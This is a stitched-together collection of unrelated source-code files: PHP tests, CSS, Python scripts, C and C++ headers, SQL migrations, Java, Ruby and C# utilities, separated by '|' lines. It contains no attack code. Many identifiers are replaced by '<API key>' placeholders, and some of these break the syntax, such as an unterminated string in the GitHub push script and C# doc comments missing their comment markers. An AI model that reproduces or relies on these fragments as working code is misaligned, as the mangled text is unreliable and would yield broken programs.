self::$DI['record_1']->set_metadatas([
[
'meta_id' => null,
'meta_struct_id' => $field->get_id(),
'value' => ['HELLO MO !'],
]
]);
$value = 'HELLO MO !';
} else {
$value = $captionField-><API key>();
}
$this->assertEquals($value, self::$DI['record_1']->get_caption()->get_dc_field(<API key>::Contributor)-><API key>());
}
/**
* @covers \caption_record::<API key>
* @todo Implement <API key>().
*/
public function <API key>()
{
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
* @covers \caption_record::get_cache_key
* @todo Implement testGet_cache_key().
*/
public function testGet_cache_key()
{
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
* @covers \caption_record::get_data_from_cache
* @todo Implement <API key>().
*/
public function <API key>()
{
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
* @covers \caption_record::set_data_to_cache
* @todo Implement <API key>().
*/
public function <API key>()
{
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
* @covers \caption_record::<API key>
* @todo Implement <API key>().
*/
public function <API key>()
{
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
}
|
a, a:hover{color: #5FB0E4}
@font-face {font-family: Ebrima; font-weight:700; font-style:normal}
body {padding-top: 10px; background: #2b2d2e; height: 679px; background-size:cover; position:relative; color: #ffffff; letter-spacing: .05em; font-family: Ebrima, 'National Light', "Lucida Grande", "Lucida Sans Unicode", "Lucida Sans", Geneva, Verdana, sans-serif}
.form-signIn { max-width: 400px; padding: 10px; margin: 0 auto; opacity: 1}
.form-signIn .form-control { position: relative; height: auto; padding: 10px; font-size: 16px; background-color: #fff; border: none}
.form-signIn input[type="email"], .form-signIn input[type="text"], .form-signIn input[type="password"], .form-signIn input[type="tel"]{ height: 45px; border-radius: 0; -<API key>: 0; -moz-border-radius: 0}
.form-signIn .btn{ border-radius: 2px; -<API key>: 2px; -moz-border-radius: 2px}
.btn-login, .btn-signUp{ background-color: #5FB0E4; border: none;color: #fff}
.btn-login, .btn-signUp{background-color: #5FB0E4; color: #fff}
.btn-login:hover, .btn-signUp:hover, .btn-login:active, .btn-signUp:active{color: lightgray}
.c-blue{color: #5FB0E4}
.space-top-8{margin-top:50px}
.footer-divider{border-color:#5FB0E4}
.space-top-1{margin-top: 1em}
.space-top-2{margin-top: 2em}
.space-bottom-2{margin-bottom: 2em}
|
import inctest
error = 0
try:
a = inctest.A()
except:
print "didn't find A"
print "therefore, I didn't include 'testdir/subdir1/hello.i'"
error = 1
pass
try:
b = inctest.B()
except:
print "didn't find B"
print "therefore, I didn't include 'testdir/subdir2/hello.i'"
error = 1
pass
if error == 1:
raise RuntimeError
# Check the import in subdirectory worked
if inctest.importtest1(5) != 15:
print "import test 1 failed"
raise RuntimeError
if inctest.importtest2("black") != "white":
print "import test 2 failed"
raise RuntimeError
|
#include "<API key>.h"
#include "PlayListItemAudio.h"
#include "PlayListDialog.h"
#include "<API key>.h"
//(*InternalHeaders(<API key>)
#include <wx/intl.h>
#include <wx/string.h>
|
// BornAgain: simulate and fit scattering at grazing incidence
//! @file Fit/RootAdapter/GSLMultiMinimizer.h
//! @brief Declares class GSLMultiMinimizer.
//! @authors Scientific Computing Group at MLZ (see CITATION, AUTHORS)
#ifndef GSLMULTIMINIMIZER_H
#define GSLMULTIMINIMIZER_H
#include "MinimizerConstants.h"
#include "<API key>.h"
namespace ROOT { namespace Math { class GSLMinimizer; } }
//! Wrapper for the CERN ROOT facade of the GSL multi minimizer family (gradient descent based).
//! @ingroup fitting_internal
class BA_CORE_API_ GSLMultiMinimizer : public <API key>
{
public:
explicit GSLMultiMinimizer(const std::string& algorithmName = AlgorithmNames::ConjugateFR);
~GSLMultiMinimizer();
//! Sets minimizer internal print level.
void setPrintLevel(int value);
int printLevel() const;
//! Sets maximum number of iterations. This is an internal minimizer setting which has
//! no direct relation to the number of objective function calls (e.g. numberOfIteraction=5
//! might correspond to ~100 objective function calls).
void setMaxIterations(int value);
int maxIterations() const;
std::string statusToString() const override;
protected:
void propagateOptions() override;
const root_minimizer_t* rootMinimizer() const override;
private:
std::unique_ptr<ROOT::Math::GSLMinimizer> m_gsl_minimizer;
};
#endif // GSLMULTIMINIMIZER_H
|
-- git
ALTER TABLE gitinfo ADD column `ShortUrl` varchar(5) NOT NULL default 'false' AFTER `Website`;
ALTER TABLE gitinfo ADD column `Colors` varchar(5) NOT NULL default 'true' AFTER `ShortUrl`;
ALTER TABLE hginfo ADD column `ShortUrl` varchar(5) NOT NULL default 'false' AFTER `Website`;
ALTER TABLE hginfo ADD column `Colors` varchar(5) NOT NULL default 'true' AFTER `ShortUrl`;
-- svn
ALTER TABLE svninfo ADD column `ShortUrl` varchar(5) NOT NULL default 'false' AFTER `Website`;
ALTER TABLE svninfo ADD column `Colors` varchar(5) NOT NULL default 'true' AFTER `ShortUrl`;
-- mantisbt
ALTER TABLE mantisbt ADD column `ShortUrl` varchar(5) NOT NULL default 'false' AFTER `Link`;
ALTER TABLE mantisbt ADD column `Colors` varchar(5) NOT NULL default 'true' AFTER `ShortUrl`;
-- wordpress
ALTER TABLE wordpressinfo ADD column `ShortUrl` varchar(5) NOT NULL default 'false' AFTER `Link`;
ALTER TABLE wordpressinfo ADD column `Colors` varchar(5) NOT NULL default 'true' AFTER `ShortUrl`;
|
#ifndef _SYS_SYSLOG_H
#define _SYS_SYSLOG_H 1
#include <features.h>
#define __need___va_list
#include <stdarg.h>
#define _PATH_LOG "/dev/log"
/*
* priorities/facilities are encoded into a single 32-bit quantity, where the
* bottom 3 bits are the priority (0-7) and the top 28 bits are the facility
* (0-big number). Both the priorities and the facilities map roughly
* one-to-one to strings in the syslogd(8) source code. This mapping is
* included in this file.
*
* priorities (these are ordered)
*/
#define LOG_EMERG 0 /* system is unusable */
#define LOG_ALERT 1 /* action must be taken immediately */
#define LOG_CRIT 2 /* critical conditions */
#define LOG_ERR 3 /* error conditions */
#define LOG_WARNING 4 /* warning conditions */
#define LOG_NOTICE 5 /* normal but significant condition */
#define LOG_INFO 6 /* informational */
#define LOG_DEBUG 7 /* debug-level messages */
#define LOG_PRIMASK 0x07 /* mask to extract priority part (internal) */
/* extract priority */
#define LOG_PRI(p) ((p) & LOG_PRIMASK)
#define LOG_MAKEPRI(fac, pri) (((fac) << 3) | (pri))
#ifdef SYSLOG_NAMES
#define INTERNAL_NOPRI 0x10 /* the "no priority" priority */
/* mark "facility" */
#define INTERNAL_MARK LOG_MAKEPRI(LOG_NFACILITIES, 0)
typedef struct _code {
char *c_name;
int c_val;
} CODE;
CODE prioritynames[] =
{
{ "alert", LOG_ALERT },
{ "crit", LOG_CRIT },
{ "debug", LOG_DEBUG },
{ "emerg", LOG_EMERG },
{ "err", LOG_ERR },
{ "error", LOG_ERR }, /* DEPRECATED */
{ "info", LOG_INFO },
{ "none", INTERNAL_NOPRI }, /* INTERNAL */
{ "notice", LOG_NOTICE },
{ "panic", LOG_EMERG }, /* DEPRECATED */
{ "warn", LOG_WARNING }, /* DEPRECATED */
{ "warning", LOG_WARNING },
{ NULL, -1 }
};
#endif
/* facility codes */
#define LOG_KERN (0<<3) /* kernel messages */
#define LOG_USER (1<<3) /* random user-level messages */
#define LOG_MAIL (2<<3) /* mail system */
#define LOG_DAEMON (3<<3) /* system daemons */
#define LOG_AUTH (4<<3) /* security/authorization messages */
#define LOG_SYSLOG (5<<3) /* messages generated internally by syslogd */
#define LOG_LPR (6<<3) /* line printer subsystem */
#define LOG_NEWS (7<<3) /* network news subsystem */
#define LOG_UUCP (8<<3) /* UUCP subsystem */
#define LOG_CRON (9<<3) /* clock daemon */
#define LOG_AUTHPRIV (10<<3) /* security/authorization messages (private) */
#define LOG_FTP (11<<3) /* ftp daemon */
/* other codes through 15 reserved for system use */
#define LOG_LOCAL0 (16<<3) /* reserved for local use */
#define LOG_LOCAL1 (17<<3) /* reserved for local use */
#define LOG_LOCAL2 (18<<3) /* reserved for local use */
#define LOG_LOCAL3 (19<<3) /* reserved for local use */
#define LOG_LOCAL4 (20<<3) /* reserved for local use */
#define LOG_LOCAL5 (21<<3) /* reserved for local use */
#define LOG_LOCAL6 (22<<3) /* reserved for local use */
#define LOG_LOCAL7 (23<<3) /* reserved for local use */
#define LOG_NFACILITIES 24 /* current number of facilities */
#define LOG_FACMASK 0x03f8 /* mask to extract facility part */
/* facility of pri */
#define LOG_FAC(p) (((p) & LOG_FACMASK) >> 3)
#ifdef SYSLOG_NAMES
CODE facilitynames[] =
{
{ "auth", LOG_AUTH },
{ "authpriv", LOG_AUTHPRIV },
{ "cron", LOG_CRON },
{ "daemon", LOG_DAEMON },
{ "ftp", LOG_FTP },
{ "kern", LOG_KERN },
{ "lpr", LOG_LPR },
{ "mail", LOG_MAIL },
{ "mark", INTERNAL_MARK }, /* INTERNAL */
{ "news", LOG_NEWS },
{ "security", LOG_AUTH }, /* DEPRECATED */
{ "syslog", LOG_SYSLOG },
{ "user", LOG_USER },
{ "uucp", LOG_UUCP },
{ "local0", LOG_LOCAL0 },
{ "local1", LOG_LOCAL1 },
{ "local2", LOG_LOCAL2 },
{ "local3", LOG_LOCAL3 },
{ "local4", LOG_LOCAL4 },
{ "local5", LOG_LOCAL5 },
{ "local6", LOG_LOCAL6 },
{ "local7", LOG_LOCAL7 },
{ NULL, -1 }
};
#endif
/*
* arguments to setlogmask.
*/
#define LOG_MASK(pri) (1 << (pri)) /* mask for one priority */
#define LOG_UPTO(pri) ((1 << ((pri)+1)) - 1) /* all priorities through pri */
/*
* Option flags for openlog.
*
* LOG_ODELAY no longer does anything.
* LOG_NDELAY is the inverse of what it used to be.
*/
#define LOG_PID 0x01 /* log the pid with each message */
#define LOG_CONS 0x02 /* log on the console if errors in sending */
#define LOG_ODELAY 0x04 /* delay open until first syslog() (default) */
#define LOG_NDELAY 0x08 /* don't delay open */
#define LOG_NOWAIT 0x10 /* don't wait for console forks: DEPRECATED */
#define LOG_PERROR 0x20 /* log to stderr as well */
__BEGIN_DECLS
/* Close descriptor used to write to system logger.
This function is a possible cancellation point and therefore not
marked with __THROW. */
extern void closelog (void);
/* Open connection to system logger.
This function is a possible cancellation point and therefore not
marked with __THROW. */
extern void openlog (__const char *__ident, int __option, int __facility);
/* Set the log mask level. */
extern int setlogmask (int __mask) __THROW;
/* Generate a log message using FMT string and option arguments.
This function is a possible cancellation point and therefore not
marked with __THROW. */
extern void syslog (int __pri, __const char *__fmt, ...)
__attribute__ ((__format__(__printf__, 2, 3)));
#ifdef __USE_BSD
/* Generate a log message using FMT and using arguments pointed to by AP.
This function is not part of POSIX and therefore no official
cancellation point. But due to similarity with an POSIX interface
or due to the implementation it is a cancellation point and
therefore not marked with __THROW. */
extern void vsyslog (int __pri, __const char *__fmt, __gnuc_va_list __ap)
__attribute__ ((__format__(__printf__, 2, 0)));
#endif
__END_DECLS
#endif /* sys/syslog.h */
|
from __future__ import absolute_import, print_function, division
from mitmproxy import exceptions
import pprint
def _get_name(itm):
return getattr(itm, "name", itm.__class__.__name__)
class Addons(object):
def __init__(self, master):
self.chain = []
self.master = master
master.options.changed.connect(self.options_update)
def options_update(self, options, updated):
for i in self.chain:
with self.master.handlecontext():
i.configure(options, updated)
def add(self, options, *addons):
if not addons:
raise ValueError("No addons specified.")
self.chain.extend(addons)
for i in addons:
self.invoke_with_context(i, "start")
self.invoke_with_context(
i,
"configure",
self.master.options,
self.master.options.keys()
)
def remove(self, addon):
self.chain = [i for i in self.chain if i is not addon]
self.invoke_with_context(addon, "done")
def done(self):
for i in self.chain:
self.invoke_with_context(i, "done")
def has_addon(self, name):
"""
Is an addon with this name registered?
"""
for i in self.chain:
if _get_name(i) == name:
return True
def __len__(self):
return len(self.chain)
def __str__(self):
return pprint.pformat([str(i) for i in self.chain])
def invoke_with_context(self, addon, name, *args, **kwargs):
with self.master.handlecontext():
self.invoke(addon, name, *args, **kwargs)
def invoke(self, addon, name, *args, **kwargs):
func = getattr(addon, name, None)
if func:
if not callable(func):
raise exceptions.AddonError(
"Addon handler %s not callable" % name
)
func(*args, **kwargs)
def __call__(self, name, *args, **kwargs):
for i in self.chain:
self.invoke(i, name, *args, **kwargs)
|
#! /usr/bin/env python
# Script Name: bip.py
# Script Usage: This script is the menu system and runs everything else. Do not use other
# files unless you are comfortable with the code.
# It has the following:
# You will probably want to do the following:
# 1. Make sure the info in bip_config.py is correct.
# 2. Make sure GAM (Google Apps Manager) is installed and the path is correct.
# 3. Make sure the AD scripts in toos/ are present on the DC running run.ps1.
# Script Updates:
# 201709191243 - rdegennaro@sscps.org - copied boilerplate.
import os # os.system for clearing screen and simple gam calls
import subprocess # subprocess.Popen is to capture gam output (needed for user info in particular)
import MySQLdb # MySQLdb is to get data from relevant tables
import csv # CSV is used to read output of drive commands that supply data in CSV form
import bip_config # declare installation specific variables
# setup for MySQLdb connection
varMySQLHost = bip_config.mysqlconfig['host']
varMySQLUser = bip_config.mysqlconfig['user']
varMySQLPassword = bip_config.mysqlconfig['password']
varMySQLDB = bip_config.mysqlconfig['db']
# setup to find GAM
varCommandGam = bip_config.gamconfig['fullpath']
|
package eu.interedition.text.xml;
import com.google.common.base.Objects;
import javax.xml.XMLConstants;
import javax.xml.stream.XMLStreamReader;
import java.util.Stack;
public class <API key> extends ConversionFilter {
private final Stack<Boolean> <API key> = new Stack<Boolean>();
private final <API key> <API key>;
private char lastChar = ' ';
public <API key>(<API key> <API key>) {
this.<API key> = <API key>;
}
@Override
public void start() {
<API key>.clear();
<API key>.reset();
lastChar = ' ';
}
@Override
protected void onXMLEvent(XMLStreamReader reader) {
<API key>.onXMLEvent(reader);
if (reader.isStartElement()) {
<API key>.push(<API key>.isEmpty() ? false : <API key>.peek());
final Object xmlSpace = reader.getAttributeValue(XMLConstants.XML_NS_URI, "space");
if (xmlSpace != null) {
<API key>.pop();
<API key>.push("preserve".equalsIgnoreCase(xmlSpace.toString()));
}
} else if (reader.isEndElement()) {
<API key>.pop();
}
}
String compress(String text) {
final StringBuilder compressed = new StringBuilder();
final boolean preserveSpace = Objects.firstNonNull(<API key>.peek(), false);
for (int cc = 0, length = text.length(); cc < length; cc++) {
char currentChar = text.charAt(cc);
if (!preserveSpace && Character.isWhitespace(currentChar) && (Character.isWhitespace(lastChar) || <API key>.<API key>())) {
continue;
}
if (currentChar == '\n' || currentChar == '\r') {
currentChar = ' ';
}
compressed.append(lastChar = currentChar);
}
return compressed.toString();
}
}
|
package net.kodehawa.mantarobot.commands.currency.profile;
import javax.imageio.ImageIO;
import java.awt.Color;
import java.awt.Graphics2D;
import java.awt.RenderingHints;
import java.awt.image.BufferedImage;
import java.awt.image.WritableRaster;
import java.io.<API key>;
import java.io.<API key>;
import java.io.IOException;
public class BadgeUtils {
public static byte[] applyBadge(byte[] avatarBytes, byte[] badgeBytes, int startX, int startY, boolean allWhite) {
BufferedImage avatar;
BufferedImage badge;
try {
avatar = ImageIO.read(new <API key>(avatarBytes));
badge = ImageIO.read(new <API key>(badgeBytes));
} catch (IOException impossible) {
throw new AssertionError(impossible);
}
WritableRaster raster = badge.getRaster();
if (allWhite) {
for (int xx = 0, width = badge.getWidth(); xx < width; xx++) {
for (int yy = 0, height = badge.getHeight(); yy < height; yy++) {
int[] pixels = raster.getPixel(xx, yy, (int[]) null);
pixels[0] = 255;
pixels[1] = 255;
pixels[2] = 255;
pixels[3] = pixels[3] == 255 ? 165 : 0;
raster.setPixel(xx, yy, pixels);
}
}
}
BufferedImage res = new BufferedImage(128, 128, BufferedImage.TYPE_INT_ARGB);
int circleCenterX = 88, circleCenterY = 88;
int width = 32, height = 32;
int circleRadius = 40;
Graphics2D g2d = res.createGraphics();
g2d.drawImage(avatar, 0, 0, 128, 128, null);
g2d.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON);
g2d.setColor(new Color(0, 0, 165, 165));
g2d.fillOval(circleCenterX, circleCenterY, circleRadius, circleRadius);
g2d.drawImage(badge, startX, startY, width, height, null);
g2d.dispose();
<API key> baos = new <API key>();
try {
ImageIO.write(res, "png", baos);
} catch (IOException e) {
throw new AssertionError(e);
}
return baos.toByteArray();
}
}
|
require 'polyhoraire/auth'
require 'test/unit'
require 'yaml'
class TestAuth < Test::Unit::TestCase
def setup
@config = YAML.load_file("conf/test_poly.yaml")
end
def test_connect
<API key> do
auth = Poly::Auth.new
user = @config['credentials']['user']
password = @config['credentials']['password']
bday = @config['credentials']['bday']
auth.connect(user,password,bday)
end
end
end
|
asm(1000){
var a = 1;
};
|
<?php
/**
* Modify layout using filter
*/
/**
* Available actions (by ref)
* dynamic_block_{block_name}_before where block_name is name of block e.g. header. action can have two arguments "block" and "block_settings" as array
* dynamic_block_{block_name}_before_block_items
* dynamic_block_{block_name}_after where block_name is name of block e.g. header. action can have two arguments "block" and "block_settings" as array
* If you want to disable certain block base on certain condition(s), you can add hide key to $block
* You can override render callback of block items by writing a function theme_block_item_{block_item_id} where block_item_id is id of block item e.g. widget, shortcode, post_loop etc.
*/
/**
* Manipulate block items at runtime.
* Add logos dynamically without providing any control to user.
*
* @since 1.0.0.0
*
* @param ref array $block_items list of block items in a block
* @return void
*/
function <API key>(&$block_items)
{
if(!empty($block_items))
{
$blocks_new = array();
$blocks_new[] = array(
'id' => 'theme_logo',
'name' => 'Runtime Logos',
'title' => '',
'columns' => 3,
'runtime_id' => 'o7r7ot',
'args' => array()
);
foreach($block_items as $item)
$blocks_new[] = $item;
$block_items = $blocks_new;
}
}
add_action('<API key>', '<API key>')
?>
|
package tombenpotter.emt.common.util;
import thaumcraft.api.aspects.Aspect;
import thaumcraft.api.aspects.AspectList;
public class ResearchAspects {
public static AspectList <API key> = new AspectList().add(Aspect.ENERGY, 5).add(Aspect.TOOL, 6).add(Aspect.MINE, 4);
public static AspectList <API key> = new AspectList().add(Aspect.ENERGY, 5).add(Aspect.WEAPON, 6).add(Aspect.TOOL, 4);
public static AspectList <API key> = new AspectList().add(Aspect.ARMOR, 8).add(Aspect.ENERGY, 4).add(Aspect.SENSES, 6);
public static AspectList <API key> = new AspectList().add(Aspect.ENERGY, 2).add(Aspect.TOOL, 3).add(Aspect.MINE, 2).add(Aspect.WEAPON, 2);
public static AspectList <API key> = new AspectList().add(Aspect.ENERGY, 5).add(Aspect.TOOL, 6).add(Aspect.MINE, 4).add(Aspect.WEAPON, 6);
public static AspectList thaumicNanoHelmet = new AspectList().add(Aspect.ENERGY, 5).add(Aspect.SENSES, 8).add(Aspect.ARMOR, 6);
public static AspectList laserFocusResearch = new AspectList().add(Aspect.FIRE, 3).add(Aspect.DEATH, 2).add(Aspect.WEAPON, 3);
public static AspectList <API key> = new AspectList().add(Aspect.COLD, 2).add(Aspect.BEAST, 5).add(Aspect.LIFE, 6);
public static AspectList shieldFocusResearch = new AspectList().add(Aspect.ARMOR, 5).add(Aspect.AIR, 2).add(Aspect.CRYSTAL, 3).add(Aspect.TRAP, 2);
public static AspectList <API key> = new AspectList().add(Aspect.ARMOR, 8).add(Aspect.ENERGY, 5).add(Aspect.SENSES, 6);
public static AspectList <API key> = new AspectList().add(Aspect.ENERGY, 4).add(Aspect.EXCHANGE, 4).add(Aspect.METAL, 3);
public static AspectList <API key> = new AspectList().add(Aspect.EXCHANGE, 4).add(Aspect.FIRE, 3);
public static AspectList <API key> = new AspectList().add(Aspect.EXCHANGE, 4).add(Aspect.AURA, 3);
public static AspectList <API key> = new AspectList().add(Aspect.EXCHANGE, 4).add(Aspect.TREE, 3);
public static AspectList <API key> = new AspectList().add(Aspect.TOOL, 3).add(Aspect.TREE, 3).add(Aspect.WATER, 6).add(Aspect.ENERGY, 4);
public static AspectList <API key> = new AspectList().add(Aspect.ENERGY, 3).add(Aspect.FIRE, 2).add(Aspect.MINE, 3);
public static AspectList shieldBlockResearch = new AspectList().add(Aspect.ARMOR, 3).add(Aspect.TRAP, 2);
public static AspectList tinyUraniumResearch = new AspectList().add(Aspect.POISON, 4).add(Aspect.DEATH, 3).add(Aspect.EXCHANGE, 3);
public static AspectList thorHammerResearch = new AspectList().add(Aspect.WEAPON, 3).add(Aspect.WEATHER, 4).add(Aspect.ELDRITCH, 3);
public static AspectList <API key> = new AspectList().add(Aspect.WEAPON, 4).add(Aspect.ENERGY, 6).add(Aspect.BEAST, 4);
public static AspectList wandCharger = new AspectList().add(Aspect.ENERGY, 4).add(Aspect.CRAFT, 2).add(Aspect.EXCHANGE, 3).add(Aspect.GREED, 5);
public static AspectList compressedSolars = new AspectList().add(Aspect.ENERGY, 4).add(Aspect.LIGHT, 3).add(Aspect.METAL, 2);
public static AspectList <API key> = new AspectList().add(Aspect.ENERGY, 5).add(Aspect.AIR, 2).add(Aspect.LIGHT, 4);
public static AspectList electricBootsTravel = new AspectList().add(Aspect.ENERGY, 2).add(Aspect.ARMOR, 5).add(Aspect.MOTION, 2);
public static AspectList nanoBootsTravel = new AspectList().add(Aspect.ENERGY, 3).add(Aspect.ARMOR, 5).add(Aspect.MOTION, 3);
public static AspectList quantumBootsTravel = new AspectList().add(Aspect.ENERGY, 4).add(Aspect.ARMOR, 5).add(Aspect.MOTION, 4);
public static AspectList <API key> = new AspectList().add(Aspect.ENERGY, 5).add(Aspect.DARKNESS, 3).add(Aspect.CRAFT, 1);
public static AspectList etherealProcessor = new AspectList().add(Aspect.MECHANISM, 3).add(Aspect.MAGIC, 4).add(Aspect.CRAFT, 5);
public static AspectList waterSolars = new AspectList().add(Aspect.WATER, 4).add(Aspect.MAGIC, 3).add(Aspect.ENERGY, 4);
public static AspectList darkSolars = new AspectList().add(Aspect.ENTROPY, 4).add(Aspect.MAGIC, 3).add(Aspect.ENERGY, 4);
public static AspectList orderSolars = new AspectList().add(Aspect.ORDER, 4).add(Aspect.MAGIC, 3).add(Aspect.ENERGY, 4);
public static AspectList fireSolars = new AspectList().add(Aspect.FIRE, 4).add(Aspect.MAGIC, 3).add(Aspect.ENERGY, 4);
public static AspectList airSolars = new AspectList().add(Aspect.AIR, 4).add(Aspect.MAGIC, 3).add(Aspect.ENERGY, 4);
public static AspectList earthSolars = new AspectList().add(Aspect.EARTH, 4).add(Aspect.MAGIC, 3).add(Aspect.ENERGY, 4);
public static AspectList uuMInfusion = new AspectList().add(Aspect.ELDRITCH, 4).add(Aspect.MAGIC, 4).add(Aspect.CRAFT, 5);
public static AspectList portableNode = new AspectList().add(Aspect.MAGIC, 5).add(Aspect.AURA, 5).add(Aspect.GREED, 5);
public static AspectList electricHoeGrowth = new AspectList().add(Aspect.ENERGY, 4).add(Aspect.PLANT, 4).add(Aspect.CROP, 5).add(Aspect.MAGIC, 4);
public static AspectList chargeFocus = new AspectList().add(Aspect.EXCHANGE, 4).add(Aspect.ENERGY, 5).add(Aspect.MECHANISM, 4);
public static AspectList wandChargeFocus = new AspectList().add(Aspect.ENERGY, 5).add(Aspect.AURA, 4).add(Aspect.EXCHANGE, 4).add(Aspect.GREED, 5);
public static AspectList <API key> = new AspectList().add(Aspect.ENERGY, 4).add(Aspect.CRYSTAL, 4).add(Aspect.MAGIC, 4);
public static AspectList armorChargingRing = new AspectList().add(Aspect.ENERGY, 4).add(Aspect.ARMOR, 4).add(Aspect.MAGIC, 4);
public static AspectList thaumiumWing = new AspectList().add(Aspect.FLIGHT, 5).add(Aspect.AIR, 5).add(Aspect.MECHANISM, 8);
public static AspectList nanoWing = new AspectList().add(Aspect.FLIGHT, 5).add(Aspect.AIR, 5).add(Aspect.MECHANISM, 8).add(Aspect.ENERGY, 4);
public static AspectList quantumWing = new AspectList().add(Aspect.FLIGHT, 5).add(Aspect.AIR, 5).add(Aspect.MECHANISM, 8).add(Aspect.ENERGY, 4);
public static AspectList aerGenerator = new AspectList().add(Aspect.EXCHANGE, 4).add(Aspect.AIR, 3);
}
|
#!/usr/bin/env python3
# -*- Mode:Python; indent-tabs-mode:nil; tab-width:4 -*-
# This program is free software: you can redistribute it and/or modify
# published by the Free Software Foundation.
# This program is distributed in the hope that it will be useful,
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
import argparse
import os
import subprocess
import tempfile
ACTIVE_DISTROS = ("xenial", "artful", "bionic")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("day", help="The day of the results, with format yyyymmdd")
args = parser.parse_args()
<API key>()
with tempfile.TemporaryDirectory(dir=os.environ.get("HOME")) as temp_dir:
clone_results_repo(temp_dir)
format_results(temp_dir, ACTIVE_DISTROS, args.day)
commit_and_push(temp_dir, args.day)
def <API key>():
subprocess.check_call(
["sudo", "snap", "install", "<API key>", "--edge"]
)
def clone_results_repo(dest_dir):
subprocess.check_call(
["git", "clone", "https://github.com/elopio/autopkgtest-results.git", dest_dir]
)
def format_results(dest_dir, distros, day):
subprocess.check_call(
[
"/snap/bin/<API key>",
"--destination",
dest_dir,
"--distros",
*distros,
"--day",
day,
]
)
def commit_and_push(repo_dir, day):
subprocess.check_call(
["git", "config", "--global", "user.email", "u1test+m-o@canonical.com"]
)
subprocess.check_call(["git", "config", "--global", "user.name", "snappy-m-o"])
subprocess.check_call(["git", "-C", repo_dir, "add", "--all"])
subprocess.check_call(
[
"git",
"-C",
repo_dir,
"commit",
"--message",
"Add the results for {}".format(day),
]
)
subprocess.check_call(
[
"git",
"-C",
repo_dir,
"push",
"https://{GH_TOKEN}@github.com/elopio/autopkgtest-results.git".format(
GH_TOKEN=os.environ.get("GH_<API key>)
),
]
)
if __name__ == "__main__":
main()
|
package monitor;
public interface RunnableWithResult<T> {
public T run() ;
}
|
using System;
using System.Windows.Data;
using System.Windows.Media;
namespace Xceed.Wpf.Toolkit.Core.Converters
{
public class <API key> : IValueConverter
{
#region IValueConverter Members
<summary>
Converts a Color to a SolidColorBrush.
</summary>
<param name="value">The Color produced by the binding source.</param>
<param name="targetType">The type of the binding target property.</param>
<param name="parameter">The converter parameter to use.</param>
<param name="culture">The culture to use in the converter.</param>
<returns>
A converted SolidColorBrush. If the method returns null, the valid null value is used.
</returns>
public object Convert( object value, Type targetType, object parameter, System.Globalization.CultureInfo culture )
{
if( value != null )
return new SolidColorBrush( ( Color )value );
return value;
}
<summary>
Converts a SolidColorBrush to a Color.
</summary>
<remarks>Currently not used in toolkit, but provided for developer use in their own projects</remarks>
<param name="value">The SolidColorBrush that is produced by the binding target.</param>
<param name="targetType">The type to convert to.</param>
<param name="parameter">The converter parameter to use.</param>
<param name="culture">The culture to use in the converter.</param>
<returns>
A converted value. If the method returns null, the valid null value is used.
</returns>
public object ConvertBack( object value, Type targetType, object parameter, System.Globalization.CultureInfo culture )
{
if( value != null )
return ( ( SolidColorBrush )value ).Color;
return value;
}
#endregion
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.